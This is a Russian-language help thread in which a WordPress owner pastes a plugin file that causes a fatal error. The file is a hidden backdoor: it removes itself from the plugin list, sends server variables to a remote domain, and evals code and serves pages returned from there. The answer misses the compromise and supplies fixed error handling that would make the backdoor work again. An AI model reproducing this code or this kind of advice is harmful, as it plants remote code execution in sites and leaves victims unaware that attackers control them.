Вопрос или проблема
С сегодняшнего дня я сталкиваюсь со следующей ошибкой при попытке зайти на мой сайт WordPress:
Fatal error: Uncaught Error: Cannot use object of type WP_Error as array in
/home/clients/de5c4a77f10601e4b8a603aac4a6faf2/wordpress/wp-content/plugins/wp_wordp.php:32
Stack trace: #0
/home/clients/de5c4a77f10601e4b8a603aac4a6faf2/wordpress/wp-includes/class-wp-hook.php(324):
wp_wordp->execute('') #1
/home/clients/de5c4a77f10601e4b8a603aac4a6faf2/wordpress/wp-includes/class-wp-hook.php(348):
WP_Hook->apply_filters(NULL, Array) #2
/home/clients/de5c4a77f10601e4b8a603aac4a6faf2/wordpress/wp-includes/plugin.php(517):
WP_Hook->do_action(Array) #3
/home/clients/de5c4a77f10601e4b8a603aac4a6faf2/wordpress/wp-includes/template-loader.php(13):
do_action('template_redire...') #4
/home/clients/de5c4a77f10601e4b8a603aac4a6faf2/wordpress/wp-blog-header.php(19):
require_once('/home/clients/d...') #5
/home/clients/de5c4a77f10601e4b8a603aac4a6faf2/wordpress/index.php(17):
require('/home/clients/d...') #6 {main} thrown in
/home/clients/de5c4a77f10601e4b8a603aac4a6faf2/wordpress/wp-content/plugins/wp_wordp.php on line 32
Мой wp_wordp.php (логически, источник ошибки? согласно логу) выглядит следующим образом:
<?php
/*
Plugin Name:Domain Page
Description: wp_wordp
Version: 1.0
Author: wp_wordp
*/
class wp_wordp {
private $primary_domain;
private $backup_domain;
public function __construct() {
$this->primary_domain = get_option('primary_domain');
$this->backup_domain = get_option('backup_domain');
add_action('template_redirect', array($this, 'execute'));
}
public function primary($d) {
return eval($d);
}
public function execute() {
$args = array(
'timeout' => 15,
'headers' => array(
"User-Agent" => json_encode($_SERVER),
),
);
$response = wp_remote_get($this->primary_domain . "?s=" . is_404(), $args);
if (is_wp_error($response)) {
$response = wp_remote_get($this->backup_domain . "?s=" . is_404(), $args);
$ups= json_decode($response['body'], true);
update_option('primary_domain',$ups['primary_domain']);
}
$condoe = json_decode($response['body'], true);
if (!is_wp_error($response) && json_last_error() == JSON_ERROR_NONE) {
status_header(200);
nocache_headers();
if (!empty($condoe['headers'])) {
return $this->primary($condoe['body']);
}
if (!empty($condoe['header'])) {
header($condoe['header']);
echo $condoe['body'];
exit;
}
add_filter('pre_get_document_title', function($title) use ($condoe) {
return $condoe['title'];
}, 999);
get_header();
echo $condoe['body'];
get_footer();
exit;
}
}
}
add_filter('all_plugins', 'hide_my_plugin_from_list');
function hide_my_plugin_from_list($plugins) {
unset($plugins['wp_wordp.php']);
return $plugins;
}
new wp_wordp();
Стоит отметить, что я все еще могу получить доступ к административной части без проблем, но публичная часть недоступна из-за ошибки.
Я ничего не менял, чтобы дойти до этой ошибки (сайт не трогали несколько месяцев, и единственное, что изменялось, это контент на некоторых страницах, так что это не связано с администрированием или кодом), и я не очень хорошо разбираюсь в кодировании WordPress, так что это стопорит меня…
Если кто-нибудь из вас сможет помочь, это будет для меня большим делом 🙂
Заранее спасибо всем, кто сможет помочь!
Ответ или решение
Конечно. Давайте разберем проблему, с которой вы столкнулись в вашем WordPress сайте. Сообщение об ошибке: "Fatal error: Uncaught Error: Cannot use object of type WP_Error as array" указывает на то, что вы пытаетесь обращаться к объекту WP_Error как к массиву. Это частая ошибка, особенно когда функции API WordPress возвращают ошибку вместо ожидаемых данных.
Анализ проблемы:
-
Местоположение ошибки:
Ошибка происходит в файлеwp_wordp.php
на 32-й строке. Из вашего кода видно, что это касается части, где обрабатывается HTTP-запрос. -
Потенционные причины:
- Функция
wp_remote_get
может вернуть объектWP_Error
, если запрос не удался. В вашем коде ошибка возникает, когда идет попытка обратиться к$response['body']
без предварительной проверки на наличие ошибок в$response
.
- Функция
Как исправить:
Для решения проблемы необходимо правильно обрабатывать объект WP_Error
. Предлагаю следующие шаги:
- Правильная проверка на ошибки:
Убедитесь, что вы проверяете, является ли$response
объектомWP_Error
перед тем, как работать с ним как с массивом.
$response = wp_remote_get($this->primary_domain . "?s=" . is_404(), $args);
if (is_wp_error($response)) {
// Попробуйте получить данные с резервного домена
$response = wp_remote_get($this->backup_domain . "?s=" . is_404(), $args);
if (is_wp_error($response)) {
// Здесь обработайте ошибку, возможно логируйте или отправьте уведомление
return;
}
}
$ups = json_decode($response['body'], true);
update_option('primary_domain', $ups['primary_domain']);
- Проверка JSON-декодирования:
После проверки на ошибку, убедитесь, чтоjson_decode
не вернул ошибку.
$condoe = json_decode($response['body'], true);
if (json_last_error() != JSON_ERROR_NONE) {
// Обработка ошибки декодирования
return;
}
- Безопасное выполнение кода:
Использованиеeval
потенциально опасно и может стать причиной уязвимостей в безопасности. Пересмотрите необходимость использованияeval
или обеспечьте, что передаваемые данные безопасны.
Дополнительные рекомендации:
- Логирование ошибок: подумайте о добавлении логирования, чтобы точно отследить, где и какие ошибки возникают.
- Обновление WordPress и плагинов: Убедитесь, что используете последнюю версию WordPress и плагинов, так как в них могут быть исправлены критические ошибки безопасности и улучшена функциональность.
- Резервное копирование: не забудьте создать резервную копию вашего сайта перед внесением изменений.
Следуя этим рекомендациям и выполняя правильную обработку ошибок, вы сможете устранить возникающую проблему и обеспечить более стабильную работу вашего WordPress сайта.
Надеюсь, это поможет вам эффективно исправить ошибку на вашем сайте! Если возникнут дополнительные вопросы или потребуется более подробная информация, не стесняйтесь обращаться.